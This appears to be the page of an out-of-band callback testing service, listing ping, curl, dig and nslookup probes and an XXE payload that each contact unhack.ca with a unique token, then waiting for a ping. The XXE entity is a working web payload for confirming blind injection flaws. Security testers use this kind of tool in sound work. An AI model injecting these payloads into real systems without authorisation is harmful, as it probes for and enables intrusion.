$ ping -c1 -p 00aebc86be7e3ab3b297df4fa6fb2800 unhack.ca
 
$ curl http://unhack.ca/p/aebc86be7e3ab3b297df4fa6fb28
 
$ dig aebc86be7e3ab3b297df4fa6fb28 @unhack.ca
 
$ dig aebc86be7e3ab3b297df4fa6fb28.ns.unhack.ca
 
C:\> nslookup aebc86be7e3ab3b297df4fa6fb28 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/aebc86be7e3ab3b297df4fa6fb28">]>
    <foo>&xxe;</foo>
Waiting for ping...